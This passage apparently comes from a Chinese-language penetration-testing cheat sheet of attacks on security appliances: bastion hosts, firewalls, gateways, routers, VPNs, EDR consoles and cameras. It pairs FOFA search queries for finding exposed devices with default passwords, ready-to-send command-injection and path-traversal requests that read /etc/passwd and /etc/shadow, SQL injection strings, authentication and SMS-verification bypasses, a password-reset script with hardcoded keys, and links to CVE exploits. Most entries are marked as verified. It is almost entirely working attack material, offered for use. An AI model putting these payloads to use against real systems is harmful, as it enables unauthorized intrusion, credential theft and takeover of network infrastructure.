POST /audit/data_provider.php?ds_y=2019&ds_m=03&ds_d=02&ds_hour=01&ds_min=40&server_cond=&service=`id`&identity_cond=&query_type=all&format=json&browse=true
|
|
||||||
Host: your-ip
|
|
||||||
|
|
||||||
page=1&rp=30&sortname=stampl&sortorder=desc&query=&qtype=
|
|
||||||
```
|
|
||||||
|
|
||||||
##### 任意用户登录
|
|
||||||
|
|
||||||
```
|
|
||||||
/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=shterm
|
|
||||||
```
|
|
||||||
|
|
||||||
#### H3C SecPath
|
|
||||||
|
|
||||||
FOFA：
|
|
||||||
|
|
||||||
```
|
|
||||||
app="H3C-SecPath-运维审计系统" && body="2018"
|
|
||||||
```
|
|
||||||
|
|
||||||
#### Teleport 堡垒机
|
|
||||||
|
|
||||||
FOFA：
|
|
||||||
|
|
||||||
```
|
|
||||||
app="TELEPORT堡垒机"
|
|
||||||
```
|
|
||||||
|
|
||||||
##### 任意用户登录
|
|
||||||
|
|
||||||
返回 code 为 0 说明成功，刷新首页即可进入后台：
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /auth/do-login
|
|
||||||
|
|
||||||
args={"type":2,"username":"admin","password":null,"captcha":"xxxx","oath":"","remember":false}
|
|
||||||
```
|
|
||||||
|
|
||||||
##### 后台文件读取
|
|
||||||
|
|
||||||
```
|
|
||||||
/audit/get-file?f=/etc/passwd&rid=1&type=rdp&act=read&offset=0
|
|
||||||
```
|
|
||||||
|
|
||||||
### 0x02 IMC
|
|
||||||
|
|
||||||
#### H3C IMC 智能管理中心
|
|
||||||
|
|
||||||
FOFA：
|
|
||||||
|
|
||||||
```
|
|
||||||
"/imc/javax.faces.resource/images/login_logo_h3c.png.jsf?ln=primefaces-imc-new-webui"
|
|
||||||
```
|
|
||||||
|
|
||||||
```
|
|
||||||
body="/imc/javax.faces.resource/images/login_help.png.jsf?ln=primefaces-imc-new-webui"
|
|
||||||
```
|
|
||||||
|
|
||||||
```
|
|
||||||
body="iMC来宾接入自助管理系统"
|
|
||||||
```
|
|
||||||
|
|
||||||
##### 远程代码执行
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /imc/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
|
|
||||||
Host: xxx.xxx.xxx.xxx
|
|
||||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
|
|
||||||
Content-Type: application/x-www-form-urlencoded
|
|
||||||
Content-Length: 1567
|
|
||||||
|
|
||||||
pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVqupdmBV%2FKAe9gtw54DSQCl72JjEAsHTRvxAuJC%2B%2FIFzB8dhqyGafOLqDOqc4QwUqLOJ5KuwGRarsPnIcJJwQQ7fEGzDwgaD0Njf%2FcNrT5NsETV8ToCfDLgkzjKVoz1ghGlbYnrjgqWarDvBnuv%2BEo5hxA5sgRQcWsFs1aN0zI9h8ecWvxGVmreIAuWduuetMakDq7ccNwStDSn2W6c%2BGvDYH7pKUiyBaGv9gshhhVGunrKvtJmJf04rVOy%2BZLezLj6vK%2BpVFyKR7s8xN5Ol1tz%2FG0VTJWYtaIwJ8rcWJLtVeLnXMlEcKBqd4yAtVfQNLA5AYtNBHneYyGZKAGivVYteZzG1IiJBtuZjHlE3kaH2N2XDLcOJKfyM%2FcwqYIl9PUvfC2Xh63Wh4yCFKJZGA2W0bnzXs8jdjMQoiKZnZiqRyDqkr5PwWqW16%2FI7eog15OBl4Kco%2FVjHHu8Mzg5DOvNevzs7hejq6rdj4T4AEDVrPMQS0HaIH%2BN7wC8zMZWsCJkXkY8GDcnOjhiwhQEL0l68qrO%2BEb%2F60MLarNPqOIBhF3RWB25h3q3vyESuWGkcTjJLlYOxHVJh3VhCou7OICpx3NcTTdwaRLlw7sMIUbF%2FciVuZGssKeVT%2FgR3nyoGuEg3WdOdM5tLfIthl1ruwVeQ7FoUcFU6RhZd0TO88HRsYXfaaRyC5HiSzRNn2DpnyzBIaZ8GDmz8AtbXt57uuUPRgyhdbZjIJx%2FqFUj%2BDikXHLvbUMrMlNAqSFJpqoy%2FQywVdBmlVdx%2BvJelZEK%2BBwNF9J4p%2F1fQ8wJZL2LB9SnqxAKr5kdCs0H%2FvouGHAXJZ%2BJzx5gcCw5h6%2Fp3ZkZMnMhkPMGWYIhFyWSSQwm6zmSZh1vRKfGRYd36aiRKgf3AynLVfTvxqPzqFh8BJUZ5Mh3V9R6D%2FukinKlX99zSUlQaueU22fj2jCgzvbpYwBUpD6a6tEoModbqMSIr0r7kYpE3tWAaF0ww4INtv2zUoQCRKo5BqCZFyaXrLnj7oA6RGm7ziH6xlFrOxtRd%2BLylDFB3dcYIgZtZoaSMAV3pyNoOzHy%2B1UtHe1nL97jJUCjUEbIOUPn70hyab29iHYAf3%2B9h0aurkyJVR28jIQlF4nT0nZqpixP%2Fnc0zrGppyu8dFzMqSqhRJgIkRrETErXPQ9sl%2BzoSf6CNta5ssizanfqqCmbwcvJkAlnPCP5OJhVes7lKCMlGH%2BOwPjT2xMuT6zaTMu3UMXeTd7U8yImpSbwTLhqcbaygXt8hhGSn5Qr7UQymKkAZGNKHGBbHeBIrEdjnVphcw9L2BjmaE%2BlsjMhGqFH6XWP5GD8FeHFtuY8bz08F4Wjt5wAeUZQOI4rSTpzgssoS1vbjJGzFukA07ahU%3D&cmd=whoami
|
|
||||||
```
|
|
||||||
|
|
||||||
## 二、网络检测与响应
|
|
||||||
|
|
||||||
### 0x01 蜜罐
|
|
||||||
|
|
||||||
### 0x02 IDS
|
|
||||||
|
|
||||||
#### 绿盟 UTS 综合威胁探针
|
|
||||||
|
|
||||||
##### 管理员任意登录
|
|
||||||
|
|
||||||
输入 admin/任意密码，点击登录。更改响应包，将 {"status":false,...} 中的 false 改为 true，此时，响应包将泄露 admin 用户密码的 md5 值。
|
|
||||||
|
|
||||||
利用 md5 值登录页面：
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /webapi/v1/authen_user
|
|
||||||
|
|
||||||
{"username":"admin","password":md5}
|
|
||||||
```
|
|
||||||
|
|
||||||
### 0x03 防火墙
|
|
||||||
|
|
||||||
#### 安恒 明御WEB应用防火墙
|
|
||||||
|
|
||||||
FOFA：
|
|
||||||
|
|
||||||
```
|
|
||||||
app="安恒信息-明御WAF"
|
|
||||||
```
|
|
||||||
|
|
||||||
##### report.php 任意用户登录✅
|
|
||||||
|
|
||||||
漏洞指纹：
|
|
||||||
|
|
||||||
```
|
|
||||||
/report.m?a=rpc-timed
|
|
||||||
/system.m?a=reserved
|
|
||||||
```
|
|
||||||
|
|
||||||
#### Cisco ASA
|
|
||||||
|
|
||||||
```
|
|
||||||
app="CISCO-ASA-5520"
|
|
||||||
```
|
|
||||||
|
|
||||||
##### 拒绝服务/敏感信息获取 CVE-2018-0296
|
|
||||||
|
|
||||||
exp：
|
|
||||||
|
|
||||||
- https://github.com/yassineaboukir/CVE-2018-0296
|
|
||||||
- https://github.com/milo2012/CVE-2018-0296
|
|
||||||
|
|
||||||
##### 任意文件删除 CVE-2020-3187
|
|
||||||
|
|
||||||
exp：
|
|
||||||
|
|
||||||
- https://packetstormsecurity.com/files/158648/Cisco-Adaptive-Security-Appliance-Software-9.7-Arbitrary-File-Deletion.html
|
|
||||||
|
|
||||||
##### 目录穿越/任意文件读取 CVE-2020-3452
|
|
||||||
|
|
||||||
漏洞影响
|
|
||||||
|
|
||||||
```
|
|
||||||
Cisco ASA 设备影响版本：
|
|
||||||
<9.6.1
|
|
||||||
9.6 < 9.6.4.42
|
|
||||||
9.71
|
|
||||||
9.8 < 9.8.4.20
|
|
||||||
9.9 < 9.9.2.74
|
|
||||||
9.10 < 9.10.1.42
|
|
||||||
9.12 < 9.12.3.12
|
|
||||||
9.13 < 9.13.1.10
|
|
||||||
9.14 < 9.14.1.10
|
|
||||||
```
|
|
||||||
|
|
||||||
```
|
|
||||||
/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../
|
|
||||||
```
|
|
||||||
|
|
||||||
#### H3C SecPath下一代防火墙
|
|
||||||
|
|
||||||
FOFA：
|
|
||||||
|
|
||||||
```
|
|
||||||
title="Web user login"
|
|
||||||
```
|
|
||||||
|
|
||||||
##### 任意文件下载 ✅
|
|
||||||
|
|
||||||
```
|
|
||||||
/webui/?g=sys_dia_data_check&file_name=../../etc/passwd
|
|
||||||
```
|
|
||||||
|
|
||||||
```
|
|
||||||
/webui/?
|
|
||||||
g=sys_capture_file_download&name=../../../../../../../../etc/passwd
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 奇安信 网康下一代防火墙
|
|
||||||
|
|
||||||
FOFA：
|
|
||||||
|
|
||||||
```
|
|
||||||
app="网康科技-下一代防火墙"
|
|
||||||
```
|
|
||||||
|
|
||||||
##### 远程命令执行 ✅
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /directdata/direct/router HTTP/1.1
|
|
||||||
|
|
||||||
{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;cat /etc/passwd >/var/www/html/test_test.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}
|
|
||||||
```
|
|
||||||
|
|
||||||
访问：
|
|
||||||
|
|
||||||
```
|
|
||||||
https://x.x.x.x/test_test.txt
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 启明星辰 天清汉马USG防火墙
|
|
||||||
|
|
||||||
##### 默认口令
|
|
||||||
|
|
||||||
```
|
|
||||||
useradmin/venus.user
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 佑友防火墙
|
|
||||||
|
|
||||||
##### 默认口令
|
|
||||||
|
|
||||||
```
|
|
||||||
admin/hicomadmin
|
|
||||||
```
|
|
||||||
|
|
||||||
##### 后台命令执行
|
|
||||||
|
|
||||||
```
|
|
||||||
系统管理 --> 维护工具 --> Ping
|
|
||||||
127.0.0.1|cat /etc/passwd
|
|
||||||
```
|
|
||||||
|
|
||||||
#### ZeroShell
|
|
||||||
|
|
||||||
FOFA：
|
|
||||||
|
|
||||||
```
|
|
||||||
app="Zeroshell-防火墙"
|
|
||||||
```
|
|
||||||
|
|
||||||
##### ZeroShell 3.9.0 cgi-bin/kerbynet 命令执行
|
|
||||||
|
|
||||||
exp：
|
|
||||||
|
|
||||||
- https://www.exploit-db.com/exploits/49096
|
|
||||||
|
|
||||||
### 0x04 网关
|
|
||||||
|
|
||||||
#### 奇安信 网康 NS-ASG 安全网关
|
|
||||||
|
|
||||||
FOFA：
|
|
||||||
|
|
||||||
```
|
|
||||||
网康 NS-ASG 安全网关
|
|
||||||
```
|
|
||||||
|
|
||||||
##### 任意文件读取 ✅
|
|
||||||
|
|
||||||
```
|
|
||||||
/admin/cert_download.php?file=pqpqpqpq.txt&certfile=../../../../../../../../etc/passwd
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 安恒 明御安全网关
|
|
||||||
|
|
||||||
##### 命令执行/任意文件读取✅
|
|
||||||
|
|
||||||
漏洞指纹：
|
|
||||||
|
|
||||||
```
|
|
||||||
/webui/?g=aaa_portal_auth_local_submit&suffix=
|
|
||||||
/webui/?g=sys_dia_data_down&file_name=
|
|
||||||
/webui/?g=sys_dia_data_check&file_name=
|
|
||||||
...
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 锐捷 EG 易网关
|
|
||||||
|
|
||||||
##### 管理员账号密码泄露 ✅
|
|
||||||
|
|
||||||
获取账号密码：
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /login.php HTTP/1.1
|
|
||||||
Host:
|
|
||||||
User-Agent: Go-http-client/1.1
|
|
||||||
Content-Length: 49
|
|
||||||
Content-Type: application/x-www-form-urlencoded
|
|
||||||
X-Requested-With: XMLHttpRequest
|
|
||||||
Accept-Encoding: gzip
|
|
||||||
|
|
||||||
username=admin&password=admin?show+webmaster+user
|
|
||||||
```
|
|
||||||
|
|
||||||
##### branch_passw.php 远程命令执行 ✅
|
|
||||||
|
|
||||||
发送请求包：
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /itbox_pi/branch_passw.php?a=set HTTP/1.1
|
|
||||||
Host:
|
|
||||||
User-Agent: Go-http-client/1.1
|
|
||||||
Content-Length: 41
|
|
||||||
Content-Type: application/x-www-form-urlencoded
|
|
||||||
Cookie: RUIJIEID=52222egp72ilkpf2de7qbrigk3;user=admin;
|
|
||||||
X-Requested-With: XMLHttpRequest
|
|
||||||
Accept-Encoding: gzip
|
|
||||||
|
|
||||||
pass=|cat /etc/psswd>../test_test.txt
|
|
||||||
```
|
|
||||||
|
|
||||||
再访问：
|
|
||||||
|
|
||||||
```
|
|
||||||
http://your-ip/test_test.txt
|
|
||||||
```
|
|
||||||
|
|
||||||
##### cli.php 远程命令执行 ✅
|
|
||||||
|
|
||||||
发送请求包：
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /cli.php?a=shell HTTP/1.1
|
|
||||||
Host:
|
|
||||||
User-Agent: Go-http-client/1.1
|
|
||||||
Content-Length: 24
|
|
||||||
Content-Type: application/x-www-form-urlencoded
|
|
||||||
Cookie: RUIJIEID=nk5erth9i0pvcco3n7fbpa9bi0;user=admin;
|
|
||||||
X-Requested-With: XMLHttpRequest
|
|
||||||
Accept-Encoding: gzip
|
|
||||||
|
|
||||||
notdelay=true&command=id
|
|
||||||
```
|
|
||||||
|
|
||||||
##### download.php 任意文件读取 ✅
|
|
||||||
|
|
||||||
poc：
|
|
||||||
|
|
||||||
```
|
|
||||||
/download.php?a=read_txt&file=../../../../etc/passwd
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 锐捷 ISG 视频接入安全网关
|
|
||||||
|
|
||||||
##### 账号密码泄露漏洞 ✅
|
|
||||||
|
|
||||||
FOFA：
|
|
||||||
|
|
||||||
```
|
|
||||||
title="RG-ISG"
|
|
||||||
```
|
|
||||||
|
|
||||||
F12 查看到账号密码，解密md5 后登陆系统。
|
|
||||||
|
|
||||||
### 0x05 路由器
|
|
||||||
|
|
||||||
#### D-Link DAP-2020
|
|
||||||
|
|
||||||
FOFA：
|
|
||||||
|
|
||||||
```
|
|
||||||
body="DAP-1360" && body="6.05"
|
|
||||||
```
|
|
||||||
|
|
||||||
##### webproc 任意文件读取 CVE-2021-27250 ✅
|
|
||||||
|
|
||||||
poc：
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /cgi-bin/webproc
|
|
||||||
|
|
||||||
getpage=html%2Findex.html&errorpage=/etc/passwd&var%3Amenu=setup&var%3Apage=wizard&var%3Alogin=true&obj-action=auth&%3Ausername=admin&%3Apassword=123&%3Aaction=login&%3Asessionid=3c1f7123
|
|
||||||
```
|
|
||||||
|
|
||||||
#### H3C 企业路由器（ER、ERG2、GR系列）
|
|
||||||
|
|
||||||
##### 任意用户登录漏洞 ✅
|
|
||||||
|
|
||||||
攻击者可通过访问 /userLogin.asp/../actionpolicy_status/../xxxx.cfg 接口，xxxx 为设备型号（比如设备型号为 ER5200G2，即访问 /userLogin.asp/../actionpolicy_status/../ER5200G2.cfg），绕过 COOKIE 验证，进行目录穿越，获取设备的明文配置文件。
|
|
||||||
|
|
||||||
配置中有明文的 Web 管理员账号 admin 密码，登录后台可通过开启 telnet 获取命令执行权限。
|
|
||||||
|
|
||||||
#### iKuai 路由器
|
|
||||||
|
|
||||||
FOFA：
|
|
||||||
|
|
||||||
```
|
|
||||||
title="登录爱快流控路由"
|
|
||||||
```
|
|
||||||
|
|
||||||
##### 后台任意文件读取✅
|
|
||||||
|
|
||||||
默认密码：admin/admin
|
|
||||||
|
|
||||||
poc：
|
|
||||||
|
|
||||||
```
|
|
||||||
GET /Action/download?filename=../../../../../../etc/shadow HTTP/1.1
|
|
||||||
Host：
|
|
||||||
....
|
|
||||||
```
|
|
||||||
|
|
||||||
##### 流控路由 SQL注入漏洞✅
|
|
||||||
|
|
||||||
万能密码登录：
|
|
||||||
|
|
||||||
```
|
|
||||||
user: "or""=""or""="
|
|
||||||
pass: 空
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 锐捷 NBR路由器
|
|
||||||
|
|
||||||
##### 远程命令执行漏洞 CNVD-2021-09650 ✅
|
|
||||||
|
|
||||||
FOFA：
|
|
||||||
|
|
||||||
```
|
|
||||||
title="锐捷网络-EWEB网管系统"
|
|
||||||
icon_hash="-692947551"
|
|
||||||
```
|
|
||||||
|
|
||||||
构造命令执行：
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /guest_auth/guestIsUp.php
|
|
||||||
mac=1&ip=127.0.0.1|cat /etc/passwd > test.txt
|
|
||||||
```
|
|
||||||
|
|
||||||
再访问：
|
|
||||||
|
|
||||||
```
|
|
||||||
/guest_auth/test.txt
|
|
||||||
```
|
|
||||||
|
|
||||||
### 0x06 负载均衡
|
|
||||||
|
|
||||||
#### Citrix ADC
|
|
||||||
|
|
||||||
##### 默认口令
|
|
||||||
|
|
||||||
```
|
|
||||||
nsroot/nsroot
|
|
||||||
```
|
|
||||||
|
|
||||||
##### 远程代码执行 CVE-2019-19781
|
|
||||||
|
|
||||||
访问以下链接，返回403则表示不存在漏洞，返回smb.conf则证明漏洞存在。
|
|
||||||
|
|
||||||
```
|
|
||||||
curl https://host/vpn/../vpns/cfg/smb.conf --path-as-is
|
|
||||||
或
|
|
||||||
curl https://host/vpn/../vpns/cfg/smb.conf --path-as-is --insecure
|
|
||||||
```
|
|
||||||
|
|
||||||
exp：
|
|
||||||
|
|
||||||
- https://github.com/trustedsec/cve-2019-19781
|
|
||||||
- https://github.com/jas502n/CVE-2019-19781
|
|
||||||
|
|
||||||
#### F5 BIG-IP
|
|
||||||
|
|
||||||
##### 远程代码执行 CVE-2020-5902
|
|
||||||
|
|
||||||
exp：
|
|
||||||
|
|
||||||
- https://github.com/jas502n/CVE-2020-5902
|
|
||||||
- https://github.com/theLSA/f5-bigip-rce-cve-2020-5902
|
|
||||||
|
|
||||||
##### 远程代码执行 CVE-2021-22986
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /mgmt/tm/util/bash HTTP/1.1
|
|
||||||
Host: your_ip
|
|
||||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
|
|
||||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
|
||||||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
|
||||||
Accept-Encoding: gzip, deflate
|
|
||||||
Authorization: Basic YWRtaW46QVNhc1M=
|
|
||||||
X-F5-Auth-Token:
|
|
||||||
Connection: close
|
|
||||||
Upgrade-Insecure-Requests: 1
|
|
||||||
Content-Length: 41
|
|
||||||
|
|
||||||
{"command":"run","utilCmdArgs":"-c id"}
|
|
||||||
```
|
|
||||||
|
|
||||||
exp：
|
|
||||||
|
|
||||||
- https://github.com/h4x0r-dz/RCE-Exploit-in-BIG-IP
|
|
||||||
- https://github.com/Al1ex/CVE-2021-22986
|
|
||||||
|
|
||||||
#### 天融信 Top-app LB
|
|
||||||
|
|
||||||
##### SQL注入
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /acc/clsf/report/datasource.php HTTP/1.1
|
|
||||||
Content-Type: application/x-www-form-urlencoded
|
|
||||||
|
|
||||||
t=l&e=0&s=t&l=1&vid=1+union select 1,2,3,4,5,6,7,8,9,substr('a',1,1),11,12,13,14,15,16,17,18,19,20,21,22-- &o=r_Speed&gid=0&lmt=10&asc=false&p=8&lipf=&lipt=&ripf=&ript=&dscp=&proto=&lpf=&lpt=&rpf=&rpt=
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 无密码登录
|
|
||||||
|
|
||||||
```
|
|
||||||
任意用户名 密码：;id
|
|
||||||
```
|
|
||||||
|
|
||||||
### 0x07 VPN
|
|
||||||
|
|
||||||
#### Fortigate SSL VPN
|
|
||||||
|
|
||||||
FOFA：
|
|
||||||
|
|
||||||
```
|
|
||||||
fofa: icon_hash="-404383634" app="FORTINET-防火墙"
|
|
||||||
```
|
|
||||||
|
|
||||||
##### 密码读取 CVE-2018-13379
|
|
||||||
|
|
||||||
exp：https://github.com/milo2012/CVE-2018-13379
|
|
||||||
|
|
||||||
##### 任意密码重置 CVE-2018-13382
|
|
||||||
|
|
||||||
exp：https://github.com/milo2012/CVE-2018-13382
|
|
||||||
|
|
||||||
##### 认证绕过 CVE-2022-40684
|
|
||||||
|
|
||||||
exp：https://github.com/horizon3ai/CVE-2022-40684
|
|
||||||
|
|
||||||
```
|
|
||||||
git clone https://github.com/horizon3ai/CVE-2022-40684.git
|
|
||||||
cd CVE-2022-40684
|
|
||||||
ssh-keygen -t rsa
|
|
||||||
python3 CVE-2022-40684.py -t 1.1.1.1 --username admin --key-file ~/.ssh/id_rsa.pub
|
|
||||||
ssh admin@1.1.1.1
|
|
||||||
```
|
|
||||||
|
|
||||||
#### Palo Alto SSL VPN
|
|
||||||
|
|
||||||
##### GlobalProtect 远程代码执行 CVE-2019-1579
|
|
||||||
|
|
||||||
exp：https://github.com/securifera/CVE-2019-1579
|
|
||||||
|
|
||||||
#### Pulse Secure SSL VPN
|
|
||||||
|
|
||||||
##### 任意文件读取 CVE-2019-11510
|
|
||||||
|
|
||||||
exp：https://github.com/projectzeroindia/CVE-2019-11510
|
|
||||||
|
|
||||||
##### 远程代码执行 CVE-2019-11539
|
|
||||||
|
|
||||||
exp：https://github.com/0xDezzy/CVE-2019-11539
|
|
||||||
|
|
||||||
#### 深信服 VPN
|
|
||||||
|
|
||||||
##### 常见密码
|
|
||||||
|
|
||||||
```
|
|
||||||
admin/sangfor@123
|
|
||||||
sangfor/sangfor
|
|
||||||
test/test
|
|
||||||
test1/123456b
|
|
||||||
```
|
|
||||||
|
|
||||||
##### 口令爆破
|
|
||||||
|
|
||||||
用户登录，若多次尝试登录失败会要求输入验证码，若输入错误的验证码，会提示“校验码错误或校验码已过期”；修改登录请求的数据包，清空cookie和验证码字段的值即可绕过验证码，此时提示“用户名或密码错误”。
|
|
||||||
|
|
||||||
```
|
|
||||||
/por/login_auth.csp?apiversion=1sangfor/cgi-bin/login.cgi?rnd=
|
|
||||||
```
|
|
||||||
|
|
||||||
##### 短信绕过
|
|
||||||
|
|
||||||
```
|
|
||||||
POST https://ip/por/changetelnum.csp?apiversion=1
|
|
||||||
|
|
||||||
newtel=TARGET_PHONE&sessReq=clusterd&username=TARGET_USERNAME&grpid=0&sessid=0&ip=127.0.0.1
|
|
||||||
```
|
|
||||||
|
|
||||||
##### 任意密码重置
|
|
||||||
|
|
||||||
加密算法使用了默认的key，攻击者构利用key构造重置密码数据包从而修改任意用户的密码。利用需要登陆账号。
|
|
||||||
|
|
||||||
- M7.6.6R1版本key为20181118
|
|
||||||
- M7.6.1key为20100720
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /por/changepwd.csp
|
|
||||||
|
|
||||||
sessReq=clusterd&sessid=0&str=RC4_STR&len=RC4_STR_LEN(脚本计算后结果)
|
|
||||||
```
|
|
||||||
|
|
||||||
```python
|
|
||||||
from Crypto.Cipher import ARC4
|
|
||||||
from binascii import a2b_hex
|
|
||||||
|
|
||||||
def myRC4(data, key):
|
|
||||||
rc41= ARC4.new(key)
|
|
||||||
encrypted =rc41.encrypt(data)
|
|
||||||
return encrypted. encode('hex')
|
|
||||||
|
|
||||||
def rc4_decrpt_hex(data, key):
|
|
||||||
rc41= ARC4. new(key)
|
|
||||||
return rc41. decrypt(a2b_hex(data))
|
|
||||||
|
|
||||||
key= '20100720'
|
|
||||||
data = r',username-TARGET_USERNAME, ip-127.0.0.1,grpid-1, pripsw-suiyi , newpsw=TARGET PASSWORD,'
|
|
||||||
print myRC4(data, key)
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 锐捷 SSL VPN
|
|
||||||
|
|
||||||
FOFA：
|
|
||||||
|
|
||||||
```
|
|
||||||
icon_hash="884334722" || title="Ruijie SSL VPN"
|
|
||||||
```
|
|
||||||
|
|
||||||
##### 越权访问
|
|
||||||
|
|
||||||
- UserName 参数为已知用户名
|
|
||||||
|
|
||||||
```
|
|
||||||
GET /cgi-bin/main.cgi?oper=getrsc HTTP/1.1
|
|
||||||
Cookie: UserName=admin; SessionId=1; FirstVist=1; Skin=1; tunnel=1
|
|
||||||
```
|
|
||||||
|
|
||||||
#### Juniper SSL VPN
|
|
||||||
|
|
||||||
- [Juniper SSLVPN / JunOS RCE and Multiple Vulnerabilities](https://octagon.net/blog/2022/10/28/juniper-sslvpn-junos-rce-and-multiple-vulnerabilities/)
|
|
||||||
|
|
||||||
## 三、终端响应与检测
|
|
||||||
|
|
||||||
### 0x01 EDR/杀软
|
|
||||||
|
|
||||||
#### 深信服 EDR
|
|
||||||
|
|
||||||
##### 命令执行1
|
|
||||||
|
|
||||||
exp：https://github.com/BH2UOL/sangfor-edr-exploit
|
|
||||||
|
|
||||||
##### 命令执行2
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /api/edr/sangforinter/v2/cssp/slog_client?token=eyJtZDUiOnRydWV9
|
|
||||||
|
|
||||||
{"params":"w=123\"'1234123'\"|命令"}
|
|
||||||
```
|
|
||||||
|
|
||||||
##### 后台任意用户登录
|
|
||||||
|
|
||||||
```
|
|
||||||
xxx.xxx.xxx.xxx/ui/login.php?user=admin
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 360天擎
|
|
||||||
|
|
||||||
FOFA：
|
|
||||||
|
|
||||||
```
|
|
||||||
title="360天擎"
|
|
||||||
```
|
|
||||||
|
|
||||||
##### 前台SQL注入
|
|
||||||
|
|
||||||
```
|
|
||||||
/api/dp/rptsvcsyncpoint?ccid=1
|
|
||||||
```
|
|
||||||
|
|
||||||
##### 数据库信息泄露
|
|
||||||
|
|
||||||
```
|
|
||||||
http://x.x.x.x/api/dbstat/gettablessize
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 金山 V8 终端安全系统
|
|
||||||
|
|
||||||
FOFA：
|
|
||||||
|
|
||||||
```
|
|
||||||
title="在线安装-V8+终端安全系统Web控制台"
|
|
||||||
```
|
|
||||||
|
|
||||||
##### 任意文件读取
|
|
||||||
|
|
||||||
```
|
|
||||||
/htmltopdf/downfile.php?filename=downfile.php
|
|
||||||
```
|
|
||||||
|
|
||||||
##### pdf_maker.php 命令执行
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /inter/pdf_maker.php HTTP/1.1
|
|
||||||
Content-Type: application/x-www-form-urlencoded
|
|
||||||
|
|
||||||
url=IiB8fCBpcGNvbmZpZyB8fA%3D%3D&fileName=xxx
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 金山 VGM防毒墙
|
|
||||||
|
|
||||||
FOFA：
|
|
||||||
|
|
||||||
```
|
|
||||||
"金山VGM"
|
|
||||||
```
|
|
||||||
|
|
||||||
##### downFile.php 任意文件读取
|
|
||||||
|
|
||||||
poc：
|
|
||||||
|
|
||||||
```
|
|
||||||
/downFile.php?filename=../../../../etc/passwd
|
|
||||||
```
|
|
||||||
|
|
||||||
### 0x02 数据防泄漏系统
|
|
||||||
|
|
||||||
#### 天融信数据防泄漏系统
|
|
||||||
|
|
||||||
##### 越权修改管理员密码
|
|
||||||
|
|
||||||
无需登录权限,由于修改密码处未校验原密码,且 /?module=auth_user&action=mod_edit_pwd 接口未授权访问,造成直接修改任意用户密码。 默认 superman 账户 uid 为 1。
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /?module=auth_user&action=mod_edit_pwd
|
|
||||||
|
|
||||||
Cookie: username=superman;
|
|
||||||
uid=1&pd=Newpasswd&mod_pwd=1&dlp_perm=1
|
|
||||||
```
|
|
||||||
|
|
||||||
## 四、其他
|
|
||||||
|
|
||||||
### 0x01 网络摄像机
|
|
||||||
|
|
||||||
#### Hikvision DS/IDS/IPC 等设备
|
|
||||||
|
|
||||||
FOFA：
|
|
||||||
|
|
||||||
```
|
|
||||||
"671-1e0-587ec4a1"
|
|
||||||
```
|
|
||||||
|
|
||||||
##### 远程命令执行 CVE-2021-36260 ✅
|
|
||||||
|
|
||||||
```
|
|
||||||
python CVE-2021-36260.py --rhost 127.0.0.1 --rport 8081 --cmd "ls"
|
|
||||||
```
|
|
||||||
|
|
||||||
### 0x02 综合管理平台
|
|
||||||
|
|
||||||
#### 大华 智慧园区综合管理平台
|
|
||||||
|
|
||||||
FOFA：
|
|
||||||
|
|
||||||
```
|
|
||||||
app="dahua-智慧园区综合管理平台"
|
|
||||||
```
|
|
||||||
|
|
||||||
##### user_save.action 任意文件上传 ✅
|
|
||||||
|
|
||||||
漏洞指纹：
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /admin/user_save.action
|
|
||||||
```
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /WPMS/getPublicKey
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 大华 城市安防监控系统平台管理
|
|
||||||
|
|
||||||
FOFA：
|
|
||||||
|
|
||||||
```
|
|
||||||
"attachment_downloadByUrlAtt.action"
|
|
||||||
```
|
|
||||||
|
|
||||||
##### attachment_downloadByUrlAtt.action 任意文件下载 ✅
|
|
||||||
|
|
||||||
poc：
|
|
||||||
|
|
||||||
```
|
|
||||||
/portal/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd
|
|
||||||
```
|
|
||||||
|
|
||||||
#### Hikvision iVMS-8700综合安防管理平台
|
|
||||||
|
|
||||||
FOFA：
|
|
||||||
|
|
||||||
```
|
|
